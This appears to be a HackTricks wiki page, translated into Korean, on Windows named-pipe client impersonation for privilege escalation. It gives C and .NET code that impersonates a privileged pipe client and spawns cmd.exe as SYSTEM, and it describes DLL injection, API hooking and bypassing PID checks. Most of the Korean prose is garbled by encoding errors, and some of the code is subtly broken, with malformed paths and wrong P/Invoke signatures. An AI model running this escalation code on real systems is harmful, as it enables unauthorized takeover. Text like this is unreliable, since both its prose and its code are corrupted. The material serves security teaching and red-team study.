Named Pipe Client Impersonation
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Named Pipe client impersonation์ named-pipe ์๋ฒ ์ค๋ ๋๊ฐ ์ฐ๊ฒฐ๋ ํด๋ผ์ด์ธํธ์ security context๋ฅผ ์ฑํํ ์ ์๊ฒ ํด์ฃผ๋ local privilege escalation primitive์ ๋๋ค. ์ค์ ๋ก SeImpersonatePrivilege ๊ถํ์ผ๋ก ์ฝ๋๋ฅผ ์คํํ ์ ์๋ ๊ณต๊ฒฉ์๋ ๊ถํ ์๋ ํด๋ผ์ด์ธํธ(์: SYSTEM ์๋น์ค)๋ฅผ ๊ณต๊ฒฉ์ ์ ์ด ํ์ดํ์ ์ฐ๊ฒฐํ๋๋ก ์ ๋ํ๊ณ , ImpersonateNamedPipeClient๋ฅผ ํธ์ถํ์ฌ ์์ฑ๋ ํ ํฐ์ primary ํ ํฐ์ผ๋ก Duplicateํ ๋ค ํด๋ผ์ด์ธํธ๋ก์ ํ๋ก์ธ์ค๋ฅผ ์์ฑํ ์ ์์ต๋๋ค(์ข ์ข NT AUTHORITY\SYSTEM).
์ด ํ์ด์ง๋ ํต์ฌ ๊ธฐ๋ฒ์ ์ค์ ์ ๋ก๋๋ค. SYSTEM์ ๋น์ ์ ํ์ดํ์ ๊ฐ์ ๋ก ์ฐ๊ฒฐ์ํค๋ end-to-end exploit chains์ ๋ํด์๋ ์๋์ ์ฐธ์กฐ๋ Potato family pages๋ฅผ ๋ณด์ธ์.
์์ฝ
- \.\pipe<random> ์ด๋ฆ์ named pipe๋ฅผ ์์ฑํ๊ณ ์ฐ๊ฒฐ์ ๊ธฐ๋ค๋ฆฝ๋๋ค.
- ๊ถํ ์๋ ๊ตฌ์ฑ์์๊ฐ ๊ทธ๊ฒ์ ์ฐ๊ฒฐํ๋๋ก ๋ง๋ญ๋๋ค (spooler/DCOM/EFSRPC/etc.).
- ํ์ดํ์์ ์ ์ด๋ ํ ๊ฐ์ ๋ฉ์์ง๋ฅผ ์ฝ์ ๋ค์ ImpersonateNamedPipeClient๋ฅผ ํธ์ถํฉ๋๋ค.
- ํ์ฌ ์ค๋ ๋์์ impersonation token์ ์ด๊ณ DuplicateTokenEx(TokenPrimary)๋ก primary ํ ํฐ์ ๋ง๋ ํ CreateProcessWithTokenW/CreateProcessAsUser๋ก SYSTEM ํ๋ก์ธ์ค๋ฅผ ์์ฑํฉ๋๋ค.
Requirements and key APIs
- ํธ์ถ ํ๋ก์ธ์ค/์ค๋ ๋๊ฐ ์ผ๋ฐ์ ์ผ๋ก ํ์๋ก ํ๋ ๊ถํ:
- SeImpersonatePrivilege: ์ฐ๊ฒฐ๋ ํด๋ผ์ด์ธํธ๋ฅผ ์ฑ๊ณต์ ์ผ๋ก impersonateํ๊ณ CreateProcessWithTokenW๋ฅผ ์ฌ์ฉํ๊ธฐ ์ํด ํ์ํฉ๋๋ค.
- ๋๋ SYSTEM์ ์์๋ก ๊ฐ์ฅํ ๋ค์ CreateProcessAsUser๋ฅผ ์ฌ์ฉํ ์ ์์ผ๋ฉฐ, ์ด๋ SeAssignPrimaryTokenPrivilege์ SeIncreaseQuotaPrivilege๊ฐ ํ์ํ ์ ์์ต๋๋ค(์ด ๊ถํ๋ค์ SYSTEM์ ์์๋ก ๊ฐ์ฅํ๊ณ ์์ ๋ ์ถฉ์กฑ๋ฉ๋๋ค).
- ์ฌ์ฉ๋๋ ํต์ฌ API:
- CreateNamedPipe / ConnectNamedPipe
- ReadFile/WriteFile (์์ ์์ ์ ์ ์ ์ด๋ ํ ๋ฉ์์ง๋ฅผ ์ฝ์ด์ผ ํจ)
- ImpersonateNamedPipeClient ๋ฐ RevertToSelf
- OpenThreadToken, DuplicateTokenEx(TokenPrimary)
- CreateProcessWithTokenW ๋๋ CreateProcessAsUser
- Impersonation level: ๋ก์ปฌ์์ ์ ์ฉํ ์์ ์ ์ํํ๋ ค๋ฉด ํด๋ผ์ด์ธํธ๊ฐ SecurityImpersonation์ ํ์ฉํด์ผ ํฉ๋๋ค(๋ง์ ๋ก์ปฌ RPC/named-pipe ํด๋ผ์ด์ธํธ์ ๊ธฐ๋ณธ๊ฐ). ํด๋ผ์ด์ธํธ๋ ํ์ดํ๋ฅผ ์ด ๋ SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION๋ก ์ด๋ฅผ ๋ฎ์ถ ์ ์์ต๋๋ค.
์ต์ Win32 ์ํฌํ๋ก (C)
// Minimal skeleton (no error handling hardening for brevity)
#include <windows.h>
#include <stdio.h>
int main(void) {
LPCSTR pipe = "\\\\.\\pipe\\evil";
HANDLE hPipe = CreateNamedPipeA(
pipe,
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
1, 0, 0, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE) return 1;
// Wait for privileged client to connect (see Triggers section)
if (!ConnectNamedPipe(hPipe, NULL)) return 2;
// Read at least one message before impersonation
char buf[4]; DWORD rb = 0; ReadFile(hPipe, buf, sizeof(buf), &rb, NULL);
// Impersonate the last message sender
if (!ImpersonateNamedPipeClient(hPipe)) return 3; // ERROR_CANNOT_IMPERSONATE==1368
// Extract and duplicate the impersonation token into a primary token
HANDLE impTok = NULL, priTok = NULL;
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &impTok)) return 4;
if (!DuplicateTokenEx(impTok, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &priTok)) return 5;
// Spawn as the client (often SYSTEM). CreateProcessWithTokenW requires SeImpersonatePrivilege.
STARTUPINFOW si = { .cb = sizeof(si) }; PROCESS_INFORMATION pi = {0};
if (!CreateProcessWithTokenW(priTok, LOGON_NETCREDENTIALS_ONLY,
L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL,
0, NULL, NULL, &si, &pi)) {
// Fallback: CreateProcessAsUser after you already impersonated SYSTEM
CreateProcessAsUserW(priTok, L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL,
NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}
RevertToSelf(); // Restore original context
return 0;
}
Notes:
- If ImpersonateNamedPipeClient returns ERROR_CANNOT_IMPERSONATE (1368), ensure you read from the pipe first and that the client didnโt restrict impersonation to Identification level.
- Prefer DuplicateTokenEx with SecurityImpersonation and TokenPrimary to create a primary token suitable for process creation.
.NET ๊ฐ๋จ ์์
In .NET, NamedPipeServerStream can impersonate via RunAsClient. Once impersonating, duplicate the thread token and create a process.
using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
class P {
[DllImport("advapi32", SetLastError=true)] static extern bool OpenThreadToken(IntPtr t, uint a, bool o, out IntPtr h);
[DllImport("advapi32", SetLastError=true)] static extern bool DuplicateTokenEx(IntPtr e, uint a, IntPtr sd, int il, int tt, out IntPtr p);
[DllImport("advapi32", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessWithTokenW(IntPtr hTok, int f, string app, string cmd, int c, IntPtr env, string cwd, ref ProcessStartInfo si, out Process pi);
static void Main(){
using var s = new NamedPipeServerStream("evil", PipeDirection.InOut, 1);
s.WaitForConnection();
// Ensure client sent something so the token is available
s.RunAsClient(() => {
IntPtr t; if(!OpenThreadToken(Process.GetCurrentProcess().Handle, 0xF01FF, false, out t)) return; // TOKEN_ALL_ACCESS
IntPtr p; if(!DuplicateTokenEx(t, 0xF01FF, IntPtr.Zero, 2, 1, out p)) return; // SecurityImpersonation, TokenPrimary
var psi = new ProcessStartInfo("C\\Windows\\System32\\cmd.exe");
Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref psi, out pi);
});
}
}
Common triggers/coercions to get SYSTEM to your pipe
These techniques coerce privileged services to connect to your named pipe so you can impersonate them:
- Print Spooler RPC trigger (PrintSpoofer)
- DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato)
- EFSRPC pipes (EfsPotato/SharpEfsPotato)
See detailed usage and compatibility here:
RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
If you just need a full example of crafting the pipe and impersonating to spawn SYSTEM from a service trigger, see:
From High Integrity to SYSTEM with Name Pipes
Named Pipe IPC Abuse & MITM (DLL Injection, API Hooking, PID Validation Bypass)
Named-pipe๋ก ๊ฐํ๋ ์๋น์ค๋ ์ ๋ขฐ๋ ํด๋ผ์ด์ธํธ๋ฅผ ๊ณ์ธกํ๋ฉด ์ฌ์ ํ ํ์ทจ๋ ์ ์์ต๋๋ค. pipetap ๊ฐ์ ๋๊ตฌ๋ ํด๋ผ์ด์ธํธ์ ํฌํผ DLL์ ์ฃผ์ ํด ํธ๋ํฝ์ ํ๋ก์ํ๊ณ , SYSTEM ์๋น์ค๊ฐ ์๋นํ๊ธฐ ์ ์ ๊ถํ ์๋ IPC๋ฅผ ๋ณ์กฐํ ์ ์๊ฒ ํฉ๋๋ค.
Inline API hooking inside trusted processes
- ํฌํผ DLL์ ์์์ ํด๋ผ์ด์ธํธ์ ์ฃผ์ ํฉ๋๋ค (OpenProcess โ CreateRemoteThread โ LoadLibrary).
- DLL์ Detours๋ก
ReadFile,WriteFile๋ฑ์ ํ ํ์ง๋ง,GetFileType๊ฐFILE_TYPE_PIPE๋ฅผ ๋ณด๊ณ ํ ๋๋ง ๋์ํ์ฌ ๊ฐ ๋ฒํผ/๋ฉํ๋ฐ์ดํฐ๋ฅผ ์ ์ด์ฉ ํ์ดํ์ ๋ณต์ฌํ๊ณ ํธ์ง/์ญ์ /์ฌ์ํ ์ ์๊ฒ ํ ๋ค ์๋ API๋ก ๋ณต๊ท์ํต๋๋ค. - ํฉ๋ฒ์ ํด๋ผ์ด์ธํธ๋ฅผ Burp-style ํ๋ก์๋ก ๋ฐ๊ฟ UTF-8/UTF-16/raw ํ์ด๋ก๋๋ฅผ ์ผ์์ ์งํ๊ฑฐ๋, ์๋ฌ ๊ฒฝ๋ก๋ฅผ ์ ๋ํ๊ฑฐ๋, ์ํ์ค๋ฅผ ์ฌ์ํ๊ฑฐ๋ JSON ํธ๋ ์ด์ค๋ฅผ ๋ด๋ณด๋ผ ์ ์์ต๋๋ค.
Remote client mode to defeat PID-based validation
- ํ์ฉ ๋ชฉ๋ก์ ์๋ ํด๋ผ์ด์ธํธ์ ์ฃผ์ ํ ๋ค GUI์์ ํด๋น ํ์ดํ์ ๊ทธ PID๋ฅผ ์ ํํฉ๋๋ค.
- DLL์ ์ ๋ขฐ๋ ํ๋ก์ธ์ค ๋ด๋ถ์์
CreateFile/ConnectNamedPipe๋ฅผ ํธ์ถํ๊ณ I/O๋ฅผ ๋ค์ ์ ๋ฌํ๋ฏ๋ก ์๋ฒ๋ ์ฌ์ ํ ์ ๋นํ PID/image๋ฅผ ๊ด์ฐฐํฉ๋๋ค. GetNamedPipeClientProcessId๋ ์๋ช ๋ ์ด๋ฏธ์ง ๊ฒ์ฌ์ ์์กดํ๋ ํํฐ๋ฅผ ์ฐํํฉ๋๋ค.
Fast enumeration and fuzzing
pipelist๋\\.\pipe\*๋ฅผ ์ด๊ฑฐํ๊ณ ACLs/SIDs๋ฅผ ํ์ํ ํ ์ฆ์ ํ์นจ์ ์ํด ํญ๋ชฉ์ ๋ค๋ฅธ ๋ชจ๋๋ก ์ ๋ฌํฉ๋๋ค.- ํ์ดํ ํด๋ผ์ด์ธํธ/๋ฉ์์ง ์ปดํฌ์ ๋ ์์์ ์ด๋ฆ์ ์ฐ๊ฒฐํด UTF-8/UTF-16/raw-hex ํ์ด๋ก๋๋ฅผ ์์ฑํฉ๋๋ค; ์บก์ฒ๋ ๋ธ๋กญ์ ๊ฐ์ ธ์ ํ๋๋ฅผ ๋ณํํ๊ณ ์ฌ์ ์กํ์ฌ deserializers๋ ์ธ์ฆ๋์ง ์์ ๋ช ๋ น ๋์ฌ๋ฅผ ์ฐพ์ต๋๋ค.
- ํฌํผ DLL์ ๋ฃจํ๋ฐฑ TCP ๋ฆฌ์ค๋๋ฅผ ํธ์คํธํ ์ ์์ด tooling/fuzzers๊ฐ Python SDK๋ฅผ ํตํด ์๊ฒฉ์ผ๋ก ํ์ดํ๋ฅผ ์ ์ดํ ์ ์์ต๋๋ค.
pip install pipetap
import pipetap
client = pipetap.Client(("127.0.0.1", 47001))
client.write(b"OP\x00\x01...")
TCP bridge์ VM snapshot restores๋ฅผ ๊ฒฐํฉํ์ฌ ์ทจ์ฝํ IPC parsers์ ์ถฉ๋ ํ ์คํธ๋ฅผ ์ํํ์ธ์.
์ด์ ๊ณ ๋ ค์ฌํญ
- Named pipes๋ ์ง์ฐ์ด ๊ฑฐ์ ์์ผ๋ฏ๋ก ๋ฒํผ๋ฅผ ํธ์งํ๋ ๋์ ๊ธด ์ผ์์ ์ง๊ฐ ๋ฐ์ํ๋ฉด ์ทจ์ฝํ ์๋น์ค๊ฐ ๋ฐ๋๋ฝ์ ๋น ์ง ์ ์์ต๋๋ค.
- Overlapped/completion-port I/O ์ปค๋ฒ๋ฆฌ์ง๋ ๋ถ๋ถ์ ์ด๋ฏ๋ก ์์ธ ์ผ์ด์ค๋ฅผ ์์ํ์ธ์.
- Injection์ ํ์ง ๊ฐ๋ฅํ๊ณ ์๋ช ๋์ง ์์์ผ๋ฏ๋ก ์๋ฐํ implant๋ผ๊ธฐ๋ณด๋ค ์คํ์ค/exploit-dev ๋ณด์กฐ ๋๊ตฌ๋ก ์ทจ๊ธํ์ธ์.
๋ฌธ์ ํด๊ฒฐ ๋ฐ ์ ์์ฌํญ
- ImpersonateNamedPipeClient๋ฅผ ํธ์ถํ๊ธฐ ์ ์ ํ์ดํ์์ ์ ์ด๋ ํ๋์ ๋ฉ์์ง๋ฅผ ์ฝ์ด์ผ ํฉ๋๋ค; ๊ทธ๋ ์ง ์์ผ๋ฉด ERROR_CANNOT_IMPERSONATE (1368)๊ฐ ๋ฐ์ํฉ๋๋ค.
- ํด๋ผ์ด์ธํธ๊ฐ SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION์ผ๋ก ์ฐ๊ฒฐํ๋ฉด ์๋ฒ๋ ์์ ํ ์ํผ์๋ค์ด์ ์ ํ ์ ์์ต๋๋ค; GetTokenInformation(TokenImpersonationLevel)์ ํตํด ํ ํฐ์ impersonation level์ ํ์ธํ์ธ์.
- CreateProcessWithTokenW๋ ํธ์ถ์์๊ฒ SeImpersonatePrivilege๊ฐ ํ์ํฉ๋๋ค. ๋ง์ฝ ERROR_PRIVILEGE_NOT_HELD (1314)๋ก ์คํจํ๋ฉด ๋จผ์ SYSTEM์ผ๋ก ์ํผ์๋ค์ดํธํ ํ CreateProcessAsUser๋ฅผ ์ฌ์ฉํ์ธ์.
- ํ์ดํ๋ฅผ ๊ฐํํ๋ค๋ฉด ํ์ดํ์ security descriptor๊ฐ ๋์ ์๋น์ค๊ฐ ์ฐ๊ฒฐํ ์ ์๋๋ก ํ์ฉํ๋์ง ํ์ธํ์ธ์; ๊ธฐ๋ณธ์ ์ผ๋ก \.\pipe ์๋์ ํ์ดํ๋ ์๋ฒ์ DACL์ ๋ฐ๋ผ ์ ๊ทผ ๊ฐ๋ฅํฉ๋๋ค.
References
- Windows: ImpersonateNamedPipeClient documentation
- ired.team: Windows named pipes privilege escalation
- pipetap โ a Windows named pipe proxy tool
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


